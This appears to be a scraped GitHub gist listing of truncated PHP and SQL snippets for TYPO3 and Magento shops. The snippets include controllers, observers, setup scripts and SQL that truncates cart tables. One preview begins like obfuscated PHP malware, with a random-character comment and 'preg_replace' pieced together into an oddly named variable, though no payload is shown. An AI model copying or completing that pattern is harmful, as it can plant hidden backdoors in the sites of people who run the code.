This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
assuming the following folder structure: | |
typo3conf/ | |
| | |
L ext/ | |
L domainconfig/ | |
| | |
L domain-global.inc.php | |
L domain-de.inc.php |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/*wjmrwg7zaBtVqBVJWTiNkMPYQaLo69qgsNaDo44B0 | |
cCMmj329Ck4XgeOptvyyiFcbxxnEH4hqUkA | |
1wg2XkWSfr95qFlGyMYiGWl74mr0AbW | |
ssFfmIQzzd6KgyGQ2ic1JNyRbY7g7bqNzgjFzHedKADKVv9VW | |
5mEhySWK1fOoZxcrrkPh8u7BHQQraF5r | |
*/ | |
$RuoGzMJ='preg_'. 'rep'. 'l'.'a'.'c'. 'e'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class XXX_FileRestriction_IdController extends Mage_Core_Controller_Front_Action | |
{ | |
/** | |
* Allow URLs like http://domain.tld/downloader/id/4711 | |
* without any rewrite syntax | |
* | |
* @param string $method | |
* @param array $args |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* Set up: */ | |
class Namespace_Module_Block_Adminhtml_News_Edit_Tab_Linking { | |
protected function _prepareForm(){ | |
... | |
$fieldSet->addField('product_categories', 'multiselect', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* XML rewrite: | |
* | |
* <config><global><models> | |
<catalog_resource> | |
<rewrite> | |
<layer_filter_attribute>Namespace_Module_Model_Resource_Layer_Filter_Attribute</layer_filter_attribute> | |
</rewrite> | |
</catalog_resource> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class Namespace_Module_Model_Observer_FormatPrice | |
{ | |
public function formatPrice(Varien_Event_Observer $observer) | |
{ | |
$event = $observer->getEvent(); | |
$options = $event->getCurrencyOptions(); | |
/** |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @var $installer Mage_Catalog_Model_Resource_Eav_Mysql4_Setup | |
*/ | |
$installer = $this; | |
$installer->startSetup(); | |
$tables = array( | |
$installer->getTable('catalog/category_anchor_products_indexer_idx'), | |
$installer->getTable('catalog/category_anchor_products_indexer_tmp') | |
); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SET foreign_key_checks = 0; | |
TRUNCATE `log_quote`; | |
TRUNCATE `sales_flat_quote`; | |
TRUNCATE `sales_flat_quote_address`; | |
TRUNCATE `sales_flat_quote_address_item`; | |
TRUNCATE `sales_flat_quote_item`; | |
TRUNCATE `sales_flat_quote_item_option`; | |
TRUNCATE `sales_flat_quote_payment`; | |
TRUNCATE `sales_flat_quote_shipping_rate`; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- idea: rebuild this via php and use mysql.information_schema to automatically figure out tables with column store_id resp. website_id | |
-- maybe include it into n98-magerun | |
# DEFINE | |
SET @to_store := 8; | |
SET @to_website := 4; | |
SET @from_store := 2; | |
SET @from_website := 3; |
OlderNewer